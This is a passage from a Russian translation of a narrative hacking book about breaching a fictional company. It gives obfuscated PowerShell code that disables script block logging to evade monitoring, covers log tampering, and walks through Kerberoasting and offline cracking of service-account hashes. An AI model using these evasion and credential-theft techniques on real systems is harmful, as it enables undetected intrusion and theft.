работает на уровне этих механизмов, независимо от
источника команды (скрипт на диске или команда в памяти).

Логирование блоков скриптов, вероятно, является наиболее


опасной и неизбежной угрозой, потому что оно напрямую
поставляет данные непрерывно следящему движку мониторинга
QRadar. Правила для сопоставления простых строк по очевидным
ключевым словам могут раскрыть нас повторно, так что нам нужно
разобраться с этим незамедлительно.

**Примечание по системному транскрибированию** 

Хотя системное транскрибирование и предлагает интересную


наблюдательную возможность для аналитиков безопасности, оно
редко используется для мониторинга вредоносного трафика в
режиме реального времени. Выходным данным в файле недостает
структуры - в конце концов, это транскрибирование реальной
консоли - что осложняет их парсинг движками мониторинга. По
итогу, оно по большей части используется при анализе после
инцидентов, когда атака уже обнаружена.

59
На текущий момент только Windows Defender, ESET, AVAST и AVG поддерживают AMSI.

Перевод
@Ianuaria
skladchik.com
По умолчанию, файлы транскрипции хранятся в личной папке
пользователя, но администраторы могут (и должны) хранить их на
отдельном и защищенном сетевом ресурсе.

Если бы в Strat Jumbo было именно так, у нас не было бы


другого выбора, кроме как установить местонахождение этого
ресурса, получить достаточные привилегии и затем скрытым
образом подменить файлы с логами, чтобы затереть следы нашей
активности.60

**** 

Логирование блоков скриптов пушится на Windows-машины


через GPO. Каждый раз, когда интерпретатор PowerShell выполняет
команду, он проверяет соответствующий параметр GPO в ключе
реестра и действует в соответствии с ним.

Однако, как и всегда, дьявол кроется в деталях. В целях


улучшения производительности, параметр GPO для логирования
блоков скриптов кешируется в памяти, в частности, внутри
приватной переменной под названием
cachedGroupPolicySettings​. Эта переменная (или свойство)
определяется во внутреннем статическом классе ​Utils​,
подгружаемом библиотекой DLL ​ System.Management.Automation​,
61
которая декомпилирована ниже (та же самая, что реализует все
функции PowerShell).

60
​https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/

61
Декомпиляцию бинарников .NET можно выполнить через .NET Reflector

https://www.redgate.com/products/dotnet-development/reflector/

Перевод
@Ianuaria
skladchik.com
Можем ли мы прочитать это пространство памяти и обойти
правила объектно-ориентированного программирования (ООП),
которые утверждают, что нельзя получить доступ к приватным
переменным за пределами их классов? Да - и да!

Более того, мы можем перезаписать это поле в памяти, чтобы


отключить логирование для конкретного инстанса PowerShell. К
тому же, код DLL, загружаемый стандартным пользовательским
процессом, находится в пользовательском пространстве, а
переменные в составе этой DLL обычно хранятся в Read/Write
страницах памяти. Следовательно, мы можем совершить эту
операцию без администраторских привилегий!

Чтобы выполнить этот небольшой магический трюк, мы будем


использовать фичу под названием Отражение (Reflection).
Отражение позволяет фрагменту кода читать метаданные
двоичного файла, получать методы и члены, а затем изменять их во
время выполнения. Обычно это является свойством
самоописываемых двоичных файлов типа .NET сборок и байт-кода
Java.

**Примечание по двоичным файлам .NET** 

Двоичный файл .NET называется сборкой (Assembly) (хотя он


не содержит никакого реального нативного машинного кода) и
состоит из MSIL-кода, который компилятор преобразовал из
высокоуровневого кода (как правило, C#).

Перевод
@Ianuaria
skladchik.com
Во время выполнения MSIL-код компилируется на лету в
машинный код при помощи Windows CLR (общеязыковая
исполняющая среда). Идея очень похожа на байт-код Java.

CLR - это стековая машина (отсутствует концепция регистров),


которая отправляет значения в стек и вызывает подходящую
функцию, на которую ссылается индекс (токен метаданных) в
MSIL-коде.

Поскольку в обычном исполняемом файле все метаданные


(имена функций, переменные, структуры и т.д.) заменяются
офсетами и информацией о размерах при компиляции, эти
элементы сохраняются в MSIL-сборке, что позволяет легко
манипулировать внутренностями двоичного файла во время
выполнения.

Именно благодаря этому существуют такие концепции, как


Отражение. Более содержательно почитать про эксперименты с
MSIL-кодом в двоичных файлах .NET можно в этой статье от Phrack:

http://www.phrack.org/papers/dotnet_instrumentation.html

**** 

Традиционно в неуправляемом языке (например, C++), чтобы


получить доступ ко внутренним методам и свойствам класса, нужно
использовать то, что в объектно-ориентированном
программировании называется ​акцессорами ​и ​сеттерами​.

Единственное предназначение этих функций - если они


реализованы - это позволить программистам нарушать граничное
правило ООП и получать (акцессоры) или устанавливать (сеттеры)
значения внутренних переменных за пределами их классов.

Перевод
@Ianuaria
skladchik.com
Отражение, однако, автоматически предоставляет нам
акцессоры и сеттеры, неважно, определил ли их класс или нет,
поскольку мы можем просто прочитать метаданные сборки и
установить местонахождение членов и свойств, которые мы хотим
получить и изменить. Так что, повторяйте за мной: Отражение -
великолепная штука!

В PowerShell, чтобы загрузить ​публичный .NET класс, типа


Console​, мы просто помещаем его в квадратные скобки и напрямую
получаем доступ к его публичным методам:

Однако, если мы имеем дело со внутренним классом, типа


Utils​, мы должны вручную установить его местонахождение в
сборке DLL ​System.Management.Automation.dll​, используя
Отражение. Нам не нужно вручную загружать DLL
System.Management.Automation.dll​, поскольку любая обертка
PowerShell делает это сама по себе.

Прямую ссылку на эту DLL можно найти в свойстве ​


Assembly
публичного класса ​System.Management.Automation.PSReference​:

[System.Management.Automation.PSReference] можно с
[Ref]​:
удобством сократить как ​

Перевод
@Ianuaria
skladchik.com
Далее, мы вызываем функцию ​GetType​, которая, благодаря
Отражению, получает дескриптор на внутренний класс ​Utils​:

Используя этот дескриптор, мы переходим к извлечению поля


cachedGroupPolicySettings внутри этого класса, вызывая метод
GetField​. Он ожидает имя переменной и информацию о ее типе -
так называемые флаги привязки - типа ​Public​, ​Nonpublic​, ​Static​,
Instance​и проч.62

Как было обнаружено ранее декомпилятором (.NET Reflector),


свойство ​ cachedGroupPolicySettings объявлено как ​
Private и
Static​, так что код будет следующим:

Тип поля указывает на то, что, как и ожидалось, мы имеем


дело со словарем (или массивом). Мы можем вывести его значения,

62
Хорошая подборка различных способов доступа ко внутренним ресурсам .NET при помощи
Отражения находится по следующей ссылке:

https://blog.netspi.com/using-powershell-and-reflection-api-to-invoke-methods-from-net-assemblies/

Перевод
@Ianuaria
skladchik.com
используя метод ​GetValue​. Помните, что функции типа ​GetValue​,
GetType​и ​GetField​работают только из-за Отражения:

И вот оно! Мы можем отчетливо увидеть этот зловонный


EnableScriptBlockLogging​, установленный на “​1​”, это ключ,
который мы должны изменить на ноль, чтобы развести PowerShell
на тихое исключение всех последующих команд, выполняемых в
этом конкретном окне63:

При выполнении этого скрипта на целевой машине, нам не


нужно волноваться об ATA, поскольку коммуникации с DC
отсутствуют. Qradar, напротив, по-прежнему представляет
реальную угрозу. Если задуматься, данная строка команды для
обхода выполняется прямо перед отключением логирования блоков
скриптов, это означает, что она будет неминуемо записана как
4104​:
событие ​

63
Каждый раз, когда мы выполняем команду с параметром -ScriptBlock (invoke-command
-scriptblock, start-job -scriptblock и тому подобные), нам нужно сначала выполнить обход
логирования блоков скриптов, поскольку инициируется новый сеанс PowerShell.

Перевод
@Ianuaria
skladchik.com
Обратите внимание, что в отличие от других событий ​4104​,
которые были классифицированы просто как “​Verbose​”, событие,
содержащее обход логирования блоков скриптов, было помечено
Warning​”.
как “​

Это ненужный риск, от которого нам также стоит избавиться,


чтобы это не привело в действие какое-либо правило обнаружения.

Данная классификация команд происходит на уровне движка


Windows Management Framework (тот, что выполняет
PowerShell-команды).

Для поиска всего того, что определяется во внутреннем


свойстве “​signatures​” публичного класса ​ScriptBlock​, он
полагается на список подозрительных строк. Опасные строки и
NonPublic​”, “​GetField​”, “​Add-Type​” и многие другие,
функции, типа “​
автоматически помечаются движком выполнения.

В отличие от класса ​Utils​, ​ScriptBlock объявляется


публичным, поэтому мы можем напрямую обращаться к нему,
используя объект ​ [ScriptBlock]​. Однако, поле “​signatures​”,
содержащее список подозрительных строк, является приватным,
так что мы прибегнем к Отражению еще раз, используя методы
GetField​и ​GetValue​:

Перевод
@Ianuaria
skladchik.com
Поскольку это всего лишь сравнение, основанное на строках,
мы можем обойти его при помощи определенной умной
обфускации.

Даниэль Бохэннон провел великолепную работу по этой


конкретной проблеме. Его инструмент ​Invoke-Obfuscate является
настоящим образчиком креативности и проведенной тяжелой
работы. Б​о​льшая часть техник, представленных ниже (если не все),
были заимствованы из его выступления на Blue Hat 2016
(​https://www.youtube.com/watch?v=6J8pw_bM-i4​).

Исходя из предыдущего списка, мы знаем, что в нашей


команде для обхода логирования блоков скриптов помечаются
следующие строки:

● GetField
● NonPublic
● ScriptBlockLogging

“​NonPublic​” и “​ScriptBlockLogging​” - это простые строки,


поэтому техники классической конкатенации должны хорошо
помочь в предотвращении обнаружения:

$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroup
'No'+'nPublic,Static'​)
PolicySettings', ​

$GPS = $GPF.GetValue($null)

'Scri'+'ptBlockLogging'​]['EnableScriptBlockLogging'] = 0
$ GPS [​

Но что насчет метода ​GetField​?

Перевод
@Ianuaria
skladchik.com
Вы будете удивлены гибкостью, предоставляемой
синтаксисом PowerShell. Вызов метода может быть заключен в
двойные или одинарные кавычки и при этом будет нормально
работать:

[...].​"GetField"​('cachedGroupPolicySettings', ​'No'+'nPublic,Static'​)

Ох, только посмотрите на это! Теперь ​


GetField - строка, так
что мы можем применить технику классической конкатенации снова:

[...].​"Ge"+"tField"​('cachedGroupPolicySettings', ​No'+'nPublic,Static'​)

И теперь, в качестве финала, вишенка на вершине


великолепия этой обфускации - мы можем добавить обратные
апострофы (`) внутри строк и по-прежнему иметь нормальное
выполнение кода.

Единственное ограничение в том, что они не должны


предварять следующие символы (0, a, b, f, n, r, t, v), чтобы они не
были интерпретированы как специальные символы (в т.ч. пустой
символ, alert, возврат на шаг, знак прогона страницы, знак новой
строки, возврат каретки, символ горизонтальной табуляции, символ
вертикальной табуляции).

"Ge"+"tF`ield"​('cachedGroupPolicySettings', ​'No'+'nPublic,Static'​)
[...].​

Специальные символы, упомянутые выше, являются


чувствительными к регистру, поэтому ничто не мешает нам
поместить обратный апостроф перед заглавной F, к примеру:

"Ge"+"t`F`ield"​
[...].​ 'No'+'nPublic,Static'​)
('cachedGroupPolicySettings', ​

Итоговый код для логирования скриптов блоков теперь


выглядит следующим образом:

Перевод
@Ianuaria
skladchik.com
$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`I
eld"
('cachedGroupPolicySettings', 'NonP'+'ublic,Static')

$GPS = $GPF.GetValue($null)

$GPS['Script'+'BlockLogging']['EnableS'+'criptBlockLogging'] = 0

$GPS['Sc'+'riptBlockLog'+'ging']
['En'+'ableScriptBlockInvoca'+'tionLoggi'+'ng'] = 0

Когда мы запускаем эту команду в нашей тестовой


лаборатории, она логируется, как и ожидается, но ей присваивается
низкий уровень логирования “​verbose​”, таким образом она
оказывается погребена среди тысяч других бессмысленных
verbose-сообщений.

Более того, техники обфускации, которые мы применили,


вероятнее всего обойдут любой мониторинг по ключевым словам,
выполняемый QRadar.

Любая последующая команда, которую мы будем выполнять в


том же окне PowerShell, больше не будет логироваться.64

**Примечание по логированию блоков скриптов** 

64
Каждый новый блок скриптов, использующий Invoke-Command, Start-Job и похожие команды,
должен включать этот обход.

Перевод
@Ianuaria
skladchik.com
На некоторых Windows-машинах ключ словаря
EnableScriptBlockLogging не может быть найден в
cachedGroupPolicySettings​, даже если логирование блоков
скриптов включено - что делает вышеуказанный обход
бесполезным. Чтобы в любом случае развести Windows на
отключение логирования, мы попросту создаем недостающий ключ
и затем присваиваем ему значение ​0​, как и обычно.

В этом случае альтернативным пейлоадом становится:

$GPF =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`Ield"
('cachedGroupPolicySettings', 'NonP'+'ublic,Static')
$GPS = $GPF.GetValue($null)

# Создать новый объект Dictionary 


$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()

# Наполнить словарь 
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GPS['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'
lockLogging']
= $val

**** 

Наконец, одной *большой* проблемой меньше. Большой Брат


больше не оценивает каждую команду, которую мы набираем в
командной строке PowerShell. Мы можем выполнить на этой
машине практически все, что захотим. Но что именно? Мы уже
искали потенциальные пароли и документы, хранящиеся локально,
но ничего не получили за свои усилия.

Мы уверены в том, что где-то на сетевых ресурсах должны


быть пароли, да черт возьми, даже старые машины с Windows 2008,
которые возможно уязвимы для MS17-01065, но с тем исключением,
что мы не можем приударить за ними в духе непринужденных
хакеров, какими мы были ранее.

Перевод
@Ianuaria
skladchik.com
Мы сделали глоток из фонтана истины - и ее вкус горек. Мы
знаем, что над нашими головами навис Дамоклов меч в виде ATA и
QRadar. Один непонятный пакет или противоречивое сетевое
поведение, и мы будем выброшены снова - вероятно, уже навсегда
в этот раз.

Вместо рискованного поиска способов повышения наших


привилегий, давайте направим нашу энергию обратно к нашей
изначальной цели: получить доступ к коду Strat Accounting.

Русская рулетка 

Когда вам кажется, что вы упираетесь в тупик, всегда


возвращайтесь к разведке. Где-то посреди кучи данных вы всегда
сможете найти что-то, что даст толчок вашей креативности еще раз.

Мы уже прибрали к рукам множество информации, при этом


сильно рисковали, так что нам нужно быть более осторожными в
этот раз. При работе с ATA или любым другим инструментом
поведенческого анализа нужно следовать общему правилу: слиться
с обычным трафиком настолько сильно, насколько это возможно,
или, в нашем случае, с трафиком Windows Active Directory.

Например, все машины в лесу используют протокол LDAP,


чтобы запрашивать копии объектов AD (пользователи, группы,
машины, GPO и так далее) в целях кеширования. Следовательно,
использование LDAP для опроса пользователей, групп и объектов
AD в целом не должно привести в действие каких-либо алертов:

Перевод
@Ianuaria
skladchik.com
Очевидно, что работа напрямую с классом ​adsisearcher для
запроса объектов LDAP может стать проблематичным занятием,
вот почему мы так сильно любим ​PowerView (б​о​льшая часть
функций ​Get-Net*​, если не все, работают с LDAP). Нам нужно лишь
не забыть отключить логирование блоков скриптов перед тем, как
PowerView​в память и запустить команды:
снова загрузить ​

**Примечание** 

Одна из интересных техник, которая позволяет избежать


отправки сетевых пакетов всех сразу, это запросить локальное
пространство имен WMI, в котором кешируются некоторые
доменные объекты (особенно пользователи и группы).

# Вывести список групп 


PS> Get-WmiObject -class win32_groupindomain | select partcomponent

# Вывести список активных пользователей 


PS> Get-WmiObject -Class Win32_UserAccount -Filter
"Domain='stratjumbo' AND Disabled='False'"

**** 

Перевод
@Ianuaria
skladchik.com
Информация, которую мы не потрудились собрать ранее, это
список машин, объявленных в Active Directory. Давайте сделаем это
прямо сейчас, почему нет:

Не стоит ожидать помощи и здесь. Имена серверов


зашифрованы лучшим образом (если помните, сервер Citrix
называется ​START-CI-01​).

Импульсивный пентестер, живущий в вашем сердце, вероятно


выполнил бы массированное сканирование портов, чтобы
определить, какие службы работают на этих машинах. Может быть,
Tomcat с дефолтными учетными данными, старый SMB-сервер,
административная консоль JBoss и так далее. Но я знаю, что ваш
мозг теперь эффективно натренирован противиться подобным
дурацким побуждениям, и на это имеются веские причины. Мы
наверняка будем выброшены прочь ровно через пять минут после
десятого запроса.

Сканирование портов переполняет сеть миллионами пакетов,


нацеленных на все доступные порты. Это вряд ли можно назвать
скрытной деятельностью, не важно, сколь много опций ​Nmap вы
задействуете. Так как же нам выполнить разведку служб без
индивидуальных запросов к каждой машине?

Мы обращаем наши молитвы на всезнающего БОГА Active


Directory: на контроллер домена (DC)!

Перевод
@Ianuaria
skladchik.com
Все службы и приложения, работающие на серверах Windows,
которые желают поддерживать протокол Kerberos для
аутентификации пользователей, должны объявлять уникальные
имена участников-служб (SPN) в DC. Можете считать это
уникальным идентификатором службы.

SPN содержит не только имя службы, но и - согласно


официальным спецификациям65 - номер ее порта и сервер, на
котором она работает. Интересная особенность в том, что согласно
архитектуре Kerberos, любой аутентифицированный пользователь
может запрашивать список всех валидных SPN.

И вот что мы получаем. Простое перечисление портов без


затопления сети бессмысленными пакетами.66 Теперь у нас есть
неполный список веб-серверов (​STRAT-AK-02​, ​STRAT-AK-01 и проч.)
и, что более важно, баз данных (​STRAT-CI-03​, ​STRAT-CI-05​,
STRAT-AK-03 и т.д.), которые, как видно, работают, используя
учетные записи домена, такие как ​
sqlexpress​и ​sqlexpress2​.

Очевидное ограничение в том, что мы получаем лишь службы,


которые поддерживают аутентификацию Kerberos: некоторые
веб-серверы (IIS, Tomcat и т.д.), базы данных SQL server, WinRM
(удаленное выполнение PowerShell), RDP (удаленный сеанс
рабочего стола), Exchange и прочее. Но это простая информация
может сильно пригодиться, как мы узнаем далее.

65

https://docs.microsoft.com/ru-ru/sql/database-engine/configure-windows/register-a-service-principal-n
ame-for-kerberos-connections?view=sql-server-2017

66
Подробнее об этом: ​https://adsecurity.org/?p=1508

Перевод
@Ianuaria
skladchik.com
Другое ограничение, которое нужно иметь ввиду, это сетевая
фильтрация. Мы можем заметить, что ​STRAT-AK-03 хостит базу
данных SQL server на порту 1433, но нет никаких гарантий, что мы
действительно сможем достичь этой БД с нашего сервера Citrix (по
факту, в данном случае, мы не можем получить к ней доступ).

Предыдущая команда ​Get-NetUser вернула лишь SPN,


привязанные к стандартным учетным записям домена. Однако, SPN
могут быть также привязаны, и обычно так и происходит, к учетным
записям машин.

Мы можем использовать этот скрипт на PowerShell, взятый с


TechNet, чтобы вывести список всех совместимых с SPN служб.67 К
примеру, у DC есть множество SPN, привязанных к его машинной
учетной записи ​STRAT-AD-01$​: служба Ldap, RDP или TERMSRV,
служба DNS и так далее.

Проанализировав список собранных SPN (машины, службы и


порты), мы делаем вывод, что практически все базы данных SQL
находятся в одном сетевом сегменте.

67
​https://gallery.technet.microsoft.com/List-all-SPNs-Used-in-your-e0c6267a

Перевод
@Ianuaria
skladchik.com
STRAT-CI-03 - это, скорее всего, база данных Citrix, учитывая
сходство имени с XenApp-сервером, на котором мы в данный
момент находимся (​STRAT-CI-01​). Этот вывод далее подкрепляется
тем фактом, что ​STRAT-CI-03 - это единственная база данных,
которой мы можем достичь из нашего текущего сегмента сети:

В конце концов, в этом есть смысл, что все сервера Citrix


должны иметь возможность на определенном этапе общаться со
своей базой данных, чтобы получать объекты, соответствия
пользовательских сеансов и так далее.

Есть шанс, что база данных Citrix может свободно общаться с


другими базами данных в той же самой подсети. Следовательно,
если мы сможем получить контроль над этой одной БД, мы смогли
бы продвинуться на другие базы и поискать учетные данные в
памяти, пароли в скриптах и, возможно, даже исходный код
разработки.

Нам по-прежнему нужно выяснить, как совершить первую


атаку на эту базу данных. Но не нужно бояться, здесь еще раз
вступает в игру магия Kerberos. Позвольте небольшое отступление
по теме, чтобы представить следующую атаку.

Когда пользователь инициирует процесс аутентификации для


службы (которая идентифицируется по своему SPN), происходят
следующие действия:

Перевод
@Ianuaria
skladchik.com
● Пользователь шифрует текущую временную метку хешем
своего пароля и отправляют ее на контроллер домена.
● DC дешифрует временную метку, используя хеш, хранящийся
в Active Directory, и проверяет, попадает ли она в
десятиминутный диапазон. Затем он отправляет обратно блок
шифрованных данных - билет на получение билетов (TGT) -
который содержит идентификационные данные пользователя
и его привилегии. Только DC может дешифровать и прочитать
TGT.
● Далее, пользователь, который хочет получить доступ к
веб-службе, базе данных или любой другой службе в домене,
связывается с DC еще раз и вслепую отправляет ему TGT
вместе с именем нужной службы. DC проверяет аутентичность
TGT и отправляет обратно билет на предоставление доступа к
службе (TGS), который является зашифрованным блоком
данных, содержащим идентификационные данные
пользователя. Билет TGS может быть прочитан только
целевым сервисом.
● Пользователь вслепую перенаправляет TGS в адрес целевой
службы, которая дешифрует данные, получает
идентификационные данные пользователя и предоставляет
ему доступ.

Мы специально опустили множество обменов сеансовыми


ключами в этом процессе, которые используются для
симметричного шифрования данных, поскольку они не играют роли
для наших первоочередных целей. Вместо этого мы сфокусируемся
на билете TGS - это зашифрованный блок данных, содержащий
идентификационные данные пользователя. Этот билет шифруется
при помощи NTLM-хеша учетной записи службы, то есть, ее
паролем.

Здесь становится интереснее. Любой член домена может


запросить билет TGS, независимо от того, имеет ли он в

Перевод
@Ianuaria
skladchik.com
действительности доступ к службе или нет. KDC это не волнует, он
лишь распространяет блоки данных.

Что мы можем сделать с этой зашифрованной информацией?


Конечно же, взломать ее и найти секретный ключ! В данном случае,
ключ - это доменный пароль службы.

Эта техника получила название Kerberoasting. Уилл Шредер


создал отличную подборку по истории этой атаки в своем блоге:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/​.

Замечательной особенностью этой атаки является то, что она


полностью легитимна, как с позиции системы, так и с позиции сети.
Запросы TGS на доступ к службе (Windows-машине, сетевому
ресурсу, SQL-серверу и т.д.) происходят постоянно, поэтому ATA
испытывает трудности с созданием валидной сигнатуры, чтобы
помечать подобные атаки.

Поведенческий анализ может выявить массовые и


последовательные запросы с билетами TGS в адрес DC, хотя он
создаст неутешительное количество ложных срабатываний,
поскольку это стандартное и повторяющееся событие, особенно в
окружении Citrix.

В качестве дополнительной меры предосторожности, мы


запросим только пару билетов TGS для учетных записей,
работающих с базами данных SQL Server: ​sqlexpress и
sqlexpress2​. Для этого мы будем использовать PowerShell-скрипт
Invoke-Kerberoasting​.

Нам не нужно волноваться слишком сильно об обфускации


нашего пейлоада, поскольку у нас уже есть обход логирования
блоков скриптов:

Перевод
@Ianuaria
skladchik.com
$krb5tgs$23$*sqlexpress$stratjumbo.lan$MSSQLSvc/strat-CI-
03:14488*$876E348CCEF78F424FEA4DE72...

$krb5tgs$23$*sqlexpress2$stratjumbo.lan$MSSQLSvc/strat-AK-
03:1433*$188A113BDCA92CF63DBC4699...

$krb5tgs$23$*sqlexpress_fs$stratjumbo.lan$MSSQLSvc/strat-AK-
01:1433*$188A113BDCA92CF63DBC4699...

$krb5tgs$23$*sql_dev$stratjumbo.lan$MSSQLSvc/strat-AK-
03:14332*$188A113BDCA92CF63DBC4699…

Мы получаем список всех хешей учетных записей


пользователей в формате, совместимом с ​Hashcat​, популярным
взломщиком паролей. Команда для взлома этих паролей приведена
ниже, где “​-m​” указывает на алгоритм ​Kerberos 5 TGS-REP etype
2368, а ​
wordlist.txt​- это список возможных вариантов паролей:

Мы могли бы попробовать взломать эти пароли на нашем


стандартном виртуальном частном сервере, используя дефолтные
словари на Kali, но учитывая медленный хешрейт для алгоритма
Kerberos 5 TGS-REP (в ~150 раз медленнее NTLM), это может
занять прилично времени.

68
​https://hashcat.net/wiki/doku.php?id=hashcat

Перевод
@Ianuaria
skladchik.com
Нам нужно оптимизировать эту офлайновую брутфорс-атаку
до максимума!

Любой человек, знакомый со взломом паролей, знает, что есть


две вещи, которые можно поднастроить, чтобы увеличить скорость
процесса:

● Использовать наилучшие словари, которые покрывают


широкий спектр вариантов паролей, от прохода по клавиатуре
(qwerty) до классических словарных слов с наиболее
типовыми по сложности паттернами.
● Прокачать риг для взлома, используя мощные графические
процессоры (GPU). В сравнении с CPU, которые
предназначены для последовательного выполнения
инструкций на своих четырех или восьми ядрах, GPU
используют параллельные операции, распределенные по
тысячам менее мощных ядер. Это идеально подходит для
операции типа взлома паролей, поскольку для него требуется,
чтобы одна и та же инструкция применялась ко множеству
наборов данных с относительно некоррелированными
выходными данными.

Для создания своего собственного рига для взлома паролей


требуется определенное количество инвестиций и увлеченности.

Стоимость железа может быть непомерно высокой, если


только вы не желаете по совместительству заняться майнингом (но
опять же, более специализированные и дешевые карты могут быть
использованы для этой цели69), при этом счет за электричество
может быстро стать неприятным.

69
​https://www.buybitcoinworldwide.com/mining/hardware/

Перевод
@Ianuaria
skladchik.com
По состоянию на 2018 год, Nvidia GTX 1080 Ti70, вероятно,
является одной из лучших графических карт для взлома паролей.
Ниже представлены оценки производительности при работе
Hashcat на одной карте GTX 1080 Ti71:

[...]

Hashtype: MD5
Speed.Dev.#1.....: 30963.5 MH/s (55.28ms)

Hashtype: Kerberos 5 TGS-REP etype 23


Speed.Dev.#1.....: 413.8 MH/s (70.91ms)

[...]

Взлом хешей ​ Kerberos 5 TGS-REP в 74 раза медленнее, чем


взлом ​MD5​, отсюда потребность в огромной мощности GPU. Если
объединить шесть этих плохих парней - каждый из которых стоит в
районе $1100 - то скорость взлома TGS-билетов Kerberos взлетит
до порядка 2,4 миллиардов хешей в секунду. В паре с физическим
компьютером, на борту которого 16 или 32 Гб оперативной памяти,
подобный риг должен вполне удовлетворить наши нужды.

Если инвестирование в GPU-карты не привлекает хакера и


геймера, которые сидят внутри вас, то вы всегда можете
воспользоваться облачными GPU вычислениями, например от
AWS, PaperSpace, OVH, Google и т.п.

Одним из основных ограничений в подобном сетапе, тем не


менее, является мощность графических карт, которые вам
предлагаются. Большинство облачных провайдеров используют
карту Tesla K80 для своих дефолтных инстансов, которая дает
примерно в 13 раз меньше производительности, чем модель GTX
1080 Ti. Ниже тест производительности при взломе TGS-билетов
70

https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=GTX+1080+Ti

71
https://gist.github.com/epixoip/973da7352f4cc005746c627527e4d073

Перевод
@Ianuaria
skladchik.com
Kerberos с использованием популярных графических карт, чтобы вы
получили представление об этом72:

● 1× Tesla K80: ​
31.5 MH/s
● 1× Tesla M60: ​141.6 MH/s
● 1× GTX 1080: ​291.4 MH/s
● 1× GTX 1080 Ti: ​413.8 MH/s
● 1× Tesla V100: ​1008.4 MH/s

Только инстанс P3.16xlarge на Amazon AWS использует карты


V100 (8 штук на инстанс), чтобы приводит к хешрейту порядка 8
миллиардов хешей в секунду при взломе TGS-билетов Kerberos.
Если этого будет недостаточно для взлома хешей Strat Jumbo, то я
не знаю, что еще сможет помочь.

Работа подобного типа машины в течение 48 часов будет


стоить приблизительно столько же, сколько стоит одна
референсная карта NVIDIA GTX 1080 Ti (т.е., ~$1100).

В конце концов, вопрос лишь в том, чтобы вы следовали


инвестиционной стратегии, которая лучше всего соответствует
вашим интересам. Мы можем выбрать любой из следующих
сценариев и в любом случае получим достаточно качественный риг
для взлома:

● Производительность Tall (​прим. переводчика: автор


использует названия размеров стаканчиков из Starbucks:
Tall-Grande-Venti​): аренда инстанса P2x8 на Amazon AWS (8x
Tesla K80) за $7.2 в час (~ $172 за 24 часа) – ​248 MH/s
● Производительность Grande: покупка 6x GTX 1080 за $5640 –
1746 MH/s
● Производительность Venti: покупка 6x GTX 1080 Ti за $6600 –
2476 MH/s

72
Больше информации: ​https://www.michalspacek.com/cracking-passwords-from-the-mall.cz-dump

Перевод
@Ianuaria
skladchik.com
● Запредельная производительность: аренда инстанса 16xP3 на
Amazon AWS (8x Tesla V100) за $24/час ( ~ $576 за 24 часа) –
8067 MH/s

Допустим, мы выбрали самый скромный сценарий, в котором


мы арендуем инстанс P2x8 (​248 MH/s​) на Amazon на ​24 часа​. Чтобы
компенсировать относительную нехватку мощности, нам стоит
создать сильный словарь для ​ Hashcat​, с которым он будет
работать.

При создании словаря всегда ставьте в приоритет качество


над количеством. Размер словаря не имеет особого значения по
простой причине: мы скорее всего будем увеличивать его на
порядок посредством использования кастомных правил
(добавление чисел, специальных символов и т.д.).

Не многие люди (администраторы, равно как и пользователи)


используют корпоративные пароли наподобие “​1bNoJeG%B​”. Но даже
если каким-то чудом они выбрали подобный рандомный пароль, у
нас уйдут месяцы/годы, чтобы перепахать все девять знакомест и
найти его (при взломе TGS-билета Kerberos).

Поэтому понятно, что нет смысла нацеливаться на подобные


рандомные пароли при построении наших словарей; вместо этого,
гораздо более эффективным будет нацелиться на пароли, которые
созданы человеком, а следовательно, соблюдают какие-либо виды
мнемонических методов.

Люди используют слова и что-то из своего жизненного опыта,


чтобы сформировать основу для своих паролей, так что нам нужно
поискать словари, перечисляющие имена, места, сезоны, названия
музыкальных групп, городов, а также слова, связанные с
деятельностью Strat Jumbo (программирование и финансы).

Перевод
@Ianuaria
skladchik.com
Есть множество тематических словарей в интернете, но один
из наиболее полных и разносторонних - это словарь, выпускаемый
сайтом ​crackstation.net73, порядка 1,4 млрд. вариантов, включая
слова, извлеченные из Википедии, проекта Gutenberg и так далее.
Это отличный источник входных данных, который охватывает
различные тематики.

Чтобы адаптировать этот словарь под нашу текущую цель, мы


расширим его в дальнейшем путем добавления слов, извлеченных
с веб-сайта Strat Jumbo. Мы можем использовать следующий
скрипт, к примеру:

https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/wo
rdcollector.py

Добавляем этим слова в комплект и создаем объединенный


словарь, составленный из уникальных и отсортированных
вариантов. Мы можем даже включить несколько сотен тысяч слов
из вселенной “Игры престолов”, поскольку кажется, она очень по
душе администраторам.

Мы должны применить правила или маски к этим миллиардам


подходящих вариантов, чтобы преобразовать их в потенциальные
пароли, при этом соблюдая политику паролей Strat Jumbo: минимум
8 символов и 3 класса символов (верхний регистр, нижний регистр,
цифры или специальные символы).

73
​https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

Перевод
@Ianuaria
skladchik.com
Огромное количество людей состязались в создании самых
лучших и наиболее эффективных правил, чтобы покрыть как
тривиальные, так и запутанные комбинации, от популярных наборов
правил от KoreLogic74 до рандомных репозиториев на Github.75

По моему личному мнению, большинство из этих наборов


правил слишком усердно стараются отловить тот 1% паролей,
которые уклоняются от взломщиков паролей, вместо того, чтобы
имитировать обычные пароли, используемые фрустрированными
сотрудниками, пытающимися справиться со все возрастающей
строгостью политик паролей.

Набор правил ​RockYou76 - это очень хороший старт, к примеру,


но он не учитывает очевидные комбинации (leet-буквы с
последующими цифрами, специальные символы с последующими
числами, заглавная первая буква, добавленные к началу цифры
или специальные символы, и т.д.).

В этой связи я разработал свой собственный словарь, который


вы можете взять по ссылке.77 Обычно я запускаю его вместе с
набором правил ​RockYou​.

К настоящему времени эта комбинация доказала свою


эффективность, хотя и является предметом для постоянного
улучшения, конечно же. Для каждого варианта пароля комбинация
из этих наборов правил вырабатывает порядка 34000 новых слов:

74
http://contest-2010.korelogic.com/rules-hashcat.html

75
https://github.com/praetorian-inc/Hob0Rules

76
https://github.com/hashcat/hashcat/blob/master/rules/rockyou-30000.rule

77
https://github.com/HackLikeAPornstar/StratJumbo/blob/master/chap3/corporate.rule

Перевод
@Ianuaria
